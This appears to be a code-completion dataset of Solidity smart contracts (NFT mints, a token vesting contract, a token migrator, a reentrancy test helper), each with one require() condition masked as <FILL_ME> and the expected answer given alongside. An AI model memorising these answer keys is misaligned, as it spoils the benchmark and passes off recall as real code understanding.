/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
require(Helpers.compareStrings("data:application/json;base64,", Helpers.substring(_str, 0, 29)), 'Invalid prefix');
string memory payload = Helpers.substring(_str, 29, 0);
require(<FILL_ME>)
return true;
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| OccultMath.isValidBase64String(payload),"non-base64 chars" | 297,627 | OccultMath.isValidBase64String(payload) |
"Could not transfer Tokens." | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
interface Token {
function balanceOf(address) external returns (uint);
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract GDEFI_PublicSale_Vesting is Ownable {
using SafeMath for uint;
// ========== CONTRACT VARIABLES ===============
// enter token contract address here
address public constant tokenAddress = 0xb5e88B229B18e748e3aa16A1C2bFefdFc8a5560d;
// enter token locked amount here
uint public constant tokensLocked = 108000e18;
// enter unlock duration here
uint public constant lockDuration = 152 days;
// ======== END CONTRACT VARIABLES ===============
// DON'T Change This - unlock 100% Tokens over lockDuration
uint public constant unlockRate = 100e2;
uint public lastClaimedTime;
uint public deployTime;
constructor() public {
}
function claim() external onlyOwner {
uint pendingUnlocked = getPendingUnlocked();
uint contractBalance = Token(tokenAddress).balanceOf(address(this));
uint amountToSend = pendingUnlocked;
if (contractBalance < pendingUnlocked) {
amountToSend = contractBalance;
}
require(<FILL_ME>)
lastClaimedTime = now;
}
function getPendingUnlocked() public view returns (uint) {
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address tokenContractAddress, address tokenRecipient, uint amount) external onlyOwner {
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyLegacyERC20Tokens(address tokenContractAddress, address tokenRecipient, uint amount) external onlyOwner {
}
}
| Token(tokenAddress).transfer(owner,amountToSend),"Could not transfer Tokens." | 297,664 | Token(tokenAddress).transfer(owner,amountToSend) |
"Transfer failed!" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
interface Token {
function balanceOf(address) external returns (uint);
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract GDEFI_PublicSale_Vesting is Ownable {
using SafeMath for uint;
// ========== CONTRACT VARIABLES ===============
// enter token contract address here
address public constant tokenAddress = 0xb5e88B229B18e748e3aa16A1C2bFefdFc8a5560d;
// enter token locked amount here
uint public constant tokensLocked = 108000e18;
// enter unlock duration here
uint public constant lockDuration = 152 days;
// ======== END CONTRACT VARIABLES ===============
// DON'T Change This - unlock 100% Tokens over lockDuration
uint public constant unlockRate = 100e2;
uint public lastClaimedTime;
uint public deployTime;
constructor() public {
}
function claim() external onlyOwner {
}
function getPendingUnlocked() public view returns (uint) {
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address tokenContractAddress, address tokenRecipient, uint amount) external onlyOwner {
require(tokenContractAddress != tokenAddress || now > deployTime.add(lockDuration), "Cannot transfer out locked tokens yet!");
require(<FILL_ME>)
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyLegacyERC20Tokens(address tokenContractAddress, address tokenRecipient, uint amount) external onlyOwner {
}
}
| Token(tokenContractAddress).transfer(tokenRecipient,amount),"Transfer failed!" | 297,664 | Token(tokenContractAddress).transfer(tokenRecipient,amount) |
"No CHARGED balance" | pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Migrator {
address public CHARGED;
address public VOLTS;
address public devAddress;
mapping(address => uint256) CHARGEDBalances;
constructor(address _CHARGED, address _VOLTS) public {
}
function transmute(uint _amount) external {
require(<FILL_ME>)
require(
SafeMath.sub(CHARGEDBalances[msg.sender], _amount) >= 0,
"Insufficient CHARGED balance"
);
require(
IERC20(CHARGED).transferFrom(msg.sender, address(this), _amount),
"CHARGED transfer failed"
);
uint256 transferAmount = SafeMath.div(_amount, 2);
CHARGEDBalances[msg.sender] = SafeMath.sub(CHARGEDBalances[msg.sender], _amount);
require(
IERC20(VOLTS).transfer(msg.sender, transferAmount),
"VOLTS transfer failed"
);
}
function returnFunds() public {
}
function availableSwapBalance(address _address) external view returns(uint256){
}
function populateMapping() internal{
}
}
| CHARGEDBalances[msg.sender]>0,"No CHARGED balance" | 297,709 | CHARGEDBalances[msg.sender]>0 |
"Insufficient CHARGED balance" | pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Migrator {
address public CHARGED;
address public VOLTS;
address public devAddress;
mapping(address => uint256) CHARGEDBalances;
constructor(address _CHARGED, address _VOLTS) public {
}
function transmute(uint _amount) external {
require (
CHARGEDBalances[msg.sender] > 0,
"No CHARGED balance"
);
require(<FILL_ME>)
require(
IERC20(CHARGED).transferFrom(msg.sender, address(this), _amount),
"CHARGED transfer failed"
);
uint256 transferAmount = SafeMath.div(_amount, 2);
CHARGEDBalances[msg.sender] = SafeMath.sub(CHARGEDBalances[msg.sender], _amount);
require(
IERC20(VOLTS).transfer(msg.sender, transferAmount),
"VOLTS transfer failed"
);
}
function returnFunds() public {
}
function availableSwapBalance(address _address) external view returns(uint256){
}
function populateMapping() internal{
}
}
| SafeMath.sub(CHARGEDBalances[msg.sender],_amount)>=0,"Insufficient CHARGED balance" | 297,709 | SafeMath.sub(CHARGEDBalances[msg.sender],_amount)>=0 |
"CHARGED transfer failed" | pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Migrator {
address public CHARGED;
address public VOLTS;
address public devAddress;
mapping(address => uint256) CHARGEDBalances;
constructor(address _CHARGED, address _VOLTS) public {
}
function transmute(uint _amount) external {
require (
CHARGEDBalances[msg.sender] > 0,
"No CHARGED balance"
);
require(
SafeMath.sub(CHARGEDBalances[msg.sender], _amount) >= 0,
"Insufficient CHARGED balance"
);
require(<FILL_ME>)
uint256 transferAmount = SafeMath.div(_amount, 2);
CHARGEDBalances[msg.sender] = SafeMath.sub(CHARGEDBalances[msg.sender], _amount);
require(
IERC20(VOLTS).transfer(msg.sender, transferAmount),
"VOLTS transfer failed"
);
}
function returnFunds() public {
}
function availableSwapBalance(address _address) external view returns(uint256){
}
function populateMapping() internal{
}
}
| IERC20(CHARGED).transferFrom(msg.sender,address(this),_amount),"CHARGED transfer failed" | 297,709 | IERC20(CHARGED).transferFrom(msg.sender,address(this),_amount) |
"VOLTS transfer failed" | pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Migrator {
address public CHARGED;
address public VOLTS;
address public devAddress;
mapping(address => uint256) CHARGEDBalances;
constructor(address _CHARGED, address _VOLTS) public {
}
function transmute(uint _amount) external {
require (
CHARGEDBalances[msg.sender] > 0,
"No CHARGED balance"
);
require(
SafeMath.sub(CHARGEDBalances[msg.sender], _amount) >= 0,
"Insufficient CHARGED balance"
);
require(
IERC20(CHARGED).transferFrom(msg.sender, address(this), _amount),
"CHARGED transfer failed"
);
uint256 transferAmount = SafeMath.div(_amount, 2);
CHARGEDBalances[msg.sender] = SafeMath.sub(CHARGEDBalances[msg.sender], _amount);
require(<FILL_ME>)
}
function returnFunds() public {
}
function availableSwapBalance(address _address) external view returns(uint256){
}
function populateMapping() internal{
}
}
| IERC20(VOLTS).transfer(msg.sender,transferAmount),"VOLTS transfer failed" | 297,709 | IERC20(VOLTS).transfer(msg.sender,transferAmount) |
"Re-entrancy was successful" | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
// The Reentrancy Checker causes failures if it is successfully able to re-enter a contract.
// How to use:
// 1. Call setTransactionData with the transaction data you want the Reentrancy Checker to reenter the calling
// contract with.
// 2. Get the calling contract to call into the reentrancy checker with any call. The fallback function will receive
// this call and reenter the contract with the transaction data provided in 1. If that reentrancy call does not
// revert, then the reentrancy checker reverts the initial call, likely causeing the entire transaction to revert.
//
// Note: the reentrancy checker has a guard to prevent an infinite cycle of reentrancy. Inifinite cycles will run out
// of gas in all cases, potentially causing a revert when the contract is adequately protected from reentrancy.
contract ReentrancyChecker {
bytes public txnData;
bool hasBeenCalled;
// Used to prevent infinite cycles where the reentrancy is cycled forever.
modifier skipIfReentered {
}
function setTransactionData(bytes memory _txnData) public {
}
function _executeCall(
address to,
uint256 value,
bytes memory data
) private returns (bool success) {
}
fallback() external skipIfReentered {
// Attampt to re-enter with the set txnData.
bool success = _executeCall(msg.sender, 0, txnData);
// Fail if the call succeeds because that means the re-entrancy was successful.
require(<FILL_ME>)
}
}
| !success,"Re-entrancy was successful" | 297,736 | !success |
"METAMONZ: account is not allowed to mint Batch 2" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Metamonz is ERC721Enumerable, Ownable, AccessControl {
using Strings for uint256;
// SET MINT PRICES
uint256 public BATCH_1_PRICE = 0.077 ether;
uint256 public BATCH_2_PRICE = 0.077 ether;
uint256 public BATCH_3_PRICE = 0.09 ether;
// NFT AMOUNTS
uint256 public constant TOTAL_NUMBER_OF_NFTS = 9999;
uint256 public constant BATCH_1_AMOUNT = 1000;
uint256 public constant BATCH_2_AMOUNT = 2400;
uint256 public constant BATCH_3_AMOUNT = 6400;
uint256 public constant GIVEAWAY_AMOUNT = 199;
// BATCH 2 WHITELISTE
bool public IS_BATCH_2_WHITELISTE = true;
mapping(address => bool) private _batch_2_minters;
// NFT AMOUNTS MINTED
uint256 public BATCH_1_MINTED = 0;
uint256 public BATCH_2_MINTED = 0;
uint256 public BATCH_3_MINTED = 0;
uint256 public GIVEAWAY_MINTED = 0;
// MAX MINT AMOUNTS
uint256 public BATCH_1_MAX_MINT = 6;
uint256 public BATCH_2_MAX_MINT = 6;
uint256 public BATCH_3_MAX_MINT = 9;
// OPEN BATCHES
bool public BATCH_1_OPEN = false;
bool public BATCH_2_OPEN = false;
bool public BATCH_3_OPEN = false;
// MAXIMUM NUMBER OF NFTS PER WALLET
uint256 public MAX_AMOUNT_PER_WALLET = 18;
// BASE TOKEN URIs
string private _baseTokenURI_fire = "";
string private _baseTokenURI_water = "";
string private _baseTokenURI_dark = "";
string private _baseTokenURI_cyborg = "";
// MAPPING TOKEN_ID TO THE RIGHT BASE DRAGON
// 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
mapping(uint256 => uint256) private _bases;
// MODIFIERS
modifier whenBatch1Open() {
}
modifier whenBatch2Open() {
}
modifier whenBatch3Open() {
}
modifier batch2Allowed(address account) {
if(IS_BATCH_2_WHITELISTE == true) {
require(<FILL_ME>)
}
_;
}
// EVENTS
event Batch1Open(address account);
event Batch2Open(address account);
event Batch3Open(address account);
event Giveaway(address account, address to);
event Batch1PriceSet(address account, uint256 price);
event Batch2PriceSet(address account, uint256 price);
event Batch3PriceSet(address account, uint256 price);
event Batch1MaxMintSet(address account, uint256 max);
event Batch2MaxMintSet(address account, uint256 max);
event Batch3MaxMintSet(address account, uint256 max);
event MaximumPerWalletSet(address account, uint256 max);
constructor() ERC721("METAMONZ", "METAMONZ") {}
receive() external payable {}
// MINT BATCH 1
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_1(uint256 num, uint256 base) public payable whenBatch1Open() {
}
// MINT BATCH 2
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_2(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() batch2Allowed(msg.sender) {
}
// MINT BATCH 3
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_3(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() whenBatch3Open() {
}
// GIVEAWAY
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function giveAway(address _to, uint256 base) external onlyOwner {
}
// SET WHITELIST FOR BATCH 2
function setBatch2Whitelist(address[] calldata _addresses) external onlyOwner {
}
// CHECK WHITELISTE
function isBatch2Allowed(address account) public view returns (bool) {
}
// ENABLE/DISABLE WHITELIST
function setIsBatch2Whitelist(bool state) public onlyOwner {
}
// SET BATCH 1 MINT PRICE
function setBatch1MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 2 MINT PRICE
function setBatch2MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 3 MINT PRICE
function setBatch3MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 1 MAXIMUM MINT AMOUNT
function setBatch1MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 2 MAXIMUM MINT AMOUNT
function setBatch2MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 3 MAXIMUM MINT AMOUNT
function setBatch3MaxMint(uint256 max) public onlyOwner {
}
// OPEN BATCH 1 MINT
function openBatch1() public onlyOwner {
}
// OPEN BATCH 2 MINT
function openBatch2() public onlyOwner {
}
// OPEN BATCH 3 MINT
function openBatch3() public onlyOwner {
}
// SET MAXIMUM NFTS AMOUNT PER WALLET
function setMaximumPerWallet(uint256 max) public onlyOwner {
}
// GET BASE OF NFT
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function getBase(uint256 tokenId) public view returns (uint256) {
}
// SET BASE URI
function setBaseURI(string memory fire, string memory water, string memory dark, string memory cyborg) public onlyOwner {
}
// GET TOKEN URI FOR METADATA
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// GET BASE URI FIRE
function getBaseURIFire() public view returns (string memory) {
}
// GET BASE URI WATER
function getBaseURIWater() public view returns (string memory) {
}
// GET BASE URI DARK
function getBaseURIDark() public view returns (string memory) {
}
// GET BASE URI CYBORG
function getBaseURICyborg() public view returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
// SEND ETHER
function sendEth(address to, uint amount) internal {
}
// SUPPORTS INTERFACE
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) {
}
}
| isBatch2Allowed(account),"METAMONZ: account is not allowed to mint Batch 2" | 297,745 | isBatch2Allowed(account) |
"METAMONZ: You can only hold MAX_AMOUNT_PER_WALLET METAMONZ per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
